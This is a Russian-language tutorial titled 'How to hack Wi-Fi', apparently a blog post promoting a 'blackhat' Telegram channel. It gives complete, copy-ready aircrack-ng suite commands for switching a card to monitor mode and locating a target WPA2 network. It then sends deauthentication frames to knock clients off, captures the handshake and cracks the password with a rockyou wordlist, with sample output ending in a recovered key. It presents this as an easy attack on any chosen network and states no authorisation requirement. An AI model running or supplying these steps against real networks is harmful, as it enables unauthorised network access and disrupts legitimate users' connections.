Как взломать Wi-Fi

Как взломать Wi-Fi

https://telega.at/blackhat25

В этой заметке я предлагаю обычным пользователям, возможно, далёким от вопросов аудита безопасности беспроводных сетей Wi-Fi, посмотреть на их Wi-Fi сеть глазами хакера и даже задаться вопросом, как взломать Wi-Fi?

Хотя далее материал изложен максимально простым языком, нам не обойтись без понятий, специфичных для аудита Wi-Fi.

Термины Wi-Fi сетей

Точка Доступа (также Access Point), сокращённо ТДAP – устройство, которое обеспечивает работу сети Wi-Fi, к нему подключаются Клиенты. Чаще всего точками доступа являются роутеры.

Клиент (Станция) – устройство, которое подключается к Точке Доступа. Чаще всего это компьютеры, ноутбуки, сотовые телефоны и т.д.

ESSID и SSID – это имена беспроводных Wi-Fi сетей – именно их вы видите, когда выбираете к какой сети подключиться. Строго говоря, ESSID и SSID это не одно и то же, но в аудите Wi-Fi эти термины часто используются как взаимозаменяемые. На скриншоте ниже ESSID (именами сетей) являются MiAl, wifi88 и т.д.:


BSSID – это MAC-адрес беспроводной карты. Пример MAC-адреса: 50:46:5D:6E:8C:20.

Рукопожатие (также хэндшейкhandshake) – данные, которыми обмениваются Станция и Точка Доступа в момент создания Wi-Fi соединения. Эти данные содержат информацию, позволяющую подобрать пароль от сети Wi-Fi.

Брут-форс (также полный перебор) – метод атаки на пароль, заключающийся в переборе всех возможных вариантов пароля. Требует много времени и вычислительных ресурсов.

Перебор по словарю (атака по словарю) – метод атаки на пароль, заключающийся в переборе часто встречающихся вариантов пароля. Имеет хорошее соотношение затраченных ресурсов к полученным результатам.

Онлайн перебор пароля Wi-Fi – метод подбора пароля, который заключается в подключении к Точке Доступа с различными кандидатами в пароли. Практически не применяется из-за крайне низкой скорости перебора.

Офлайн перебор пароля Wi-Fi – метод подбора пароля, который заключается в захвате Рукопожатия и подборе такого пароля, который бы соответствовал этому рукопожатию. Этот подбор не требует подключения к Точке Доступа и выполняется на много порядков быстрее, чем онлайн перебор. Также он может выполняться на вычислительных мощностях видеокарт, что увеличивает скорость перебора ещё на несколько порядков.

WPA и WPA2 – технология защищённого доступа к Wi-Fi, пришла на смену устаревшей технологии WEP.

Беспроводная Wi-Fi карта (или беспроводной Wi-Fi адаптер) – любая сетевая карта, способная подключаться к сети Wi-Fi. В ноутбуках и телефонах они встроены внутрь корпуса, в настольных компьютерах обычно представляют собой внешнее устройство, подключаемое по USB.

Режим монитора (Monitor Mode) – свойство некоторых беспроводных адаптеров принимать пакеты данных, которые предназначены не только для них, но и для других беспроводных устройств.

Сетевой интерфейс – имя, условное обозначение в Linux сетевых карт/адаптеров.

Канал сети Wi-Fi – условное цифровое обозначение частоты, на которой в данный момент работает Точка Доступа.

Что необходимо для взлома Wi-Fi

  • Компьютер, на который можно установить Linux
  • Специализированное программное обеспечение, для Linux оно является свободным (т.е. распространяется бесплатно и у него открыт исходный код)
  • Беспроводная Wi-Fi карта, которая поддерживает режим монитора. 
  • Соответствующие знания и навыки – это вы найдёте в данной статье.

Wi-Fi карты с поддержкой режима монитора имеются в свободной продаже, их цена соответствует ценам других беспроводным картам с аналогичными характеристиками. В моём ноутбуке встроенная карта оказалась с поддержкой режима монитора – т.е. это не является редкостью и их могут достать любые желающие.

Специализированное ПО для аудита Wi-Fi сетей, как уже было сказано, распространяется свободно, по умолчанию оно присутствует в специализированных дистрибутивах, например, в Kali Linux.

Как можно убедиться, все компоненты необходимые для взлома Wi-Fi являются весьма доступными.

Все дальнейшие действия выполняются в Kali Linux.

Перевод Wi-Fi адаптера в режим монитора

По умолчанию беспроводные адаптеры находятся в «управляемом» (managed) режиме. Этот режим позволяет подключаться к Точке Доступа в качестве обычного Клиента.

Режим монитора (monitor) предназначен для анализа Wi-Fi сетей. В этом режиме беспроводная карта принимает фреймы (их ещё называют кадры) от любых источников, находящихся на том же канале.

Поскольку нам нужно захватить рукопожатие, которое состоит из данных, которые Станция отправляет Точке Доступа и Точка Доступа отправляет Станции (т.е. которые ни на каком этапе не предназначены для нас), то нам необходимо перевести нашу Wi-Fi карту в режим монитора, чтобы она была способна увидеть эти данные и сохранить их для дальнейшей обработки.

Чтобы ввести команды для перевода Wi-Fi адаптера в режим монитора, нам нужно узнать имя беспроводного интерфейса. Для этого откройте консоль и введите команду:

1

sudo iw dev



Имя беспроводного интерфейса указано в строке со словом Interface, т.е. в моём случае именем является wlan0. Запоминаем это значение, поскольку в дальнейшем оно нам понадобиться.

Режим монитора не является чем-то обычным для операционной системы, поэтому некоторые программы без спроса, молча переводят Wi-Fi адаптер в управляемый режим. Нам это может помешать, поэтому следующими двумя командами мы закрываем программы, которые могут нам воспрепятствовать:

sudo systemctl stop NetworkManager

sudo airmon-ng check kill

Теперь, наконец, мы можем перевести беспроводную карту в режим монитора. Для этого выполните последовательность команд

1

2

3

sudo ip link set <ИНТЕРФЕЙС> down

sudo iw <ИНТЕРФЕЙС> set monitor control

sudo ip link set <ИНТЕРФЕЙС> up

заменив <ИНТЕРФЕЙС> на действительное имя вашего беспроводного интерфейса (у меня это wlan0):

sudo ip link set wlan0 down

sudo iw wlan0 set monitor control

sudo ip link set wlan0 up

Кажется, что ничего не произошло, но набрав команду

sudo iw dev

Мы увидим примерно следующее:


Что такое рукопожатие (хэндшэйк)

Как уже было сказано, рукопожатие – это данные, которые в несколько этапов передаются между Станцией и Точкой доступа в тот момент, когда Станция подключается к Точке Доступа. Это означает, что для захвата рукопожатия нам нужно переключиться на канал, на котором работает Точка Доступа, для прослушивания радиосигналов и дождаться момента, когда Станция подключается к ней. Поскольку ожидание может затянуться, что применяется приём, называемый Атака Деаутентификация, который заключается в принудительно сбросе Wi-Fi соединения между Точкой Доступа и Станцией. Сразу после такого отключения, Станция пытается подключиться вновь, а мы в этот момент захватываем рукопожатие.

К сожалению, этот метод не работает, если к Точке Доступа никто не подключён.

Обзор Wi-Fi сетей

Чтобы атаковать Wi-Fi сеть нам нужно знать некоторые её характеристики. Чтобы получить список всех доступных в диапазоне досягаемости Wi-Fi сетей выполните команду:

sudo airodump-ng wlan0

Обратите внимание, что если у вас другое имя беспроводного интерфейса, то вместо wlan0 вам нужно вписать это имя.

Описанная атака применима только для сетей с защитой WPA2 или WPA – таких подавляющее большинство.

Будет выведен похожий список сетей:

Когда вы увидите в списке сеть, которую хотите атаковать, то остановите программу, для этого нажмите CTRL+c.

Предположим, меня интересует сеть с ESSID (именем) dlink. Как видно из скриншота, её характеристиками являются: BSSID – это 00:1E:58:C6:AC:FB, она использует WPA2, работает на шестом канале. Также ненулевое значение #Data (захваченные данные, отправляемые это ТД) позволяет предположить, что к ней подключена одна или более станций.

Для захвата рукопожатия используется команда следующего вида:

sudo airodump-ng -c КАНАЛ --bssid MAC_АДРЕС -w ФАЙЛ ИНТЕРФЕЙС

Где:

  • КАНАЛ – это канал, на котором работает ТД
  • MAC_АДРЕС – это BSSID атакуемой ТД
  • ФАЙЛ – имя файла, куда будет записано рукопожатие
  • ИНТЕРФЕЙС – имя беспроводного интерфейса в режиме монитора

Для моих данных команда выглядит так:

sudo airodump-ng -c 6 --bssid 00:1E:58:C6:AC:FB -w capture wlan0


На следующем скриншоте вновь видна интересующая нас ТД, а также теперь виден раздел со станциями:

В полном списке ТД раздел со станциями также присутствовал, но уходил за нижний край экрана, поэтому на скриншот не попал.

Для станции мы в поле BSSID мы можем увидеть значение, которое соответствует BSSID Точки Доступа, т.е. 00:1E:58:C6:AC:FB, это означает, что в данный момент эта Станция подключена к интересующей нас ТД. Теперь имеется два варианта:

1) ждать пока Станция отсоединится и вновь подключится к ТД по естественным причинам

2) выполнить атаку деаутентификация для ускорения процесса

Выполнение атаки деаутентификация

Для выполнения деаутентификации, не прекращая записи трафика, запущенного на предыдущем этапе, откройте новое окно консоли и введите туда команду вида:

sudo aireplay-ng -0 3 -a MAC_АДРЕС ИНТЕРФЕЙС

Где:

  • MAC_АДРЕС – это BSSID атакуемой ТД
  • ИНТЕРФЕЙС – имя беспроводного интерфейса в режиме монитора

В моём случае команда выглядит так:

sudo aireplay-ng -0 3 -a 00:1E:58:C6:AC:FB  wlan0

Программа выведет примерно следующее:

08:17:30  Waiting for beacon frame (BSSID: 00:1E:58:C6:AC:FB) on channel 6

NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).

08:17:30  Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB]

08:17:30  Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB]

08:17:31  Sending DeAuth to broadcast -- BSSID: [00:1E:58:C6:AC:FB]

А в правом верхнем углу экрана для захвата данных появится новая запись:

WPA handshake: 00:1E:58:C6:AC:FB

Она означает, что рукопожатие успешно захвачено.

Атака по словарю на пароль Wi-Fi

Теперь нам нужно запустить перебор данных.

Подготовим словарь:

cp /usr/share/wordlists/rockyou.txt.gz .

gunzip rockyou.txt.gz

cat rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > newrockyou.txt

Файл словаря в этом случае называется newrockyou.txt.

Чтобы узнать имя захваченного рукопожатия выполните команду:

ls -l capture*

При этом будет выведено что-то вроде следующего (записей может быть больше, если вы неоднократно захватывали рукопожатия):

-rw-r--r-- 1 root root 73164 сен 30 08:24 capture-01.cap

-rw-r--r-- 1 root root   478 сен 30 08:24 capture-01.csv

-rw-r--r-- 1 root root   583 сен 30 08:24 capture-01.kismet.csv

-rw-r--r-- 1 root root  2766 сен 30 08:24 capture-01.kismet.netxml

Нас интересует только файл capture-01.cap – именно он содержит рукопожатие.

Для перебора по словарю используется следующая команда:

aircrack-ng -w ФАЙЛ_СЛОВАРЯ ФАЙЛ_ЗАХВАТА

Итак, в моём случае точная команда следующая:

aircrack-ng -w newrockyou.txt capture-01.cap

Эта команда запускает подбор пароля, в процессе перебора показывается следующее окно:

Пароль подобран:


Об этом говорит запись KEY FOUND! [ pattayateam ], в которой паролем от Wi-Fi сети является pattayateam. Используя этот пароль можно подключиться к беспроводной точке доступа с любого устройства (компьютера, телефона) как это делают другие легитимные пользователи.

Заключение

Как можно убедиться, взлом Wi-Fi не является чем-то исключительно сложным, хотя и требует знания некоторых команд Linux. Здесь показан только один пример из множества вариаций атаки на Wi-Fi. Если вас заинтересовала тема аудита беспроводных сетей, то обратитесь к книге «Взлом Wi-FI сетей с Kali Linux».




Report Page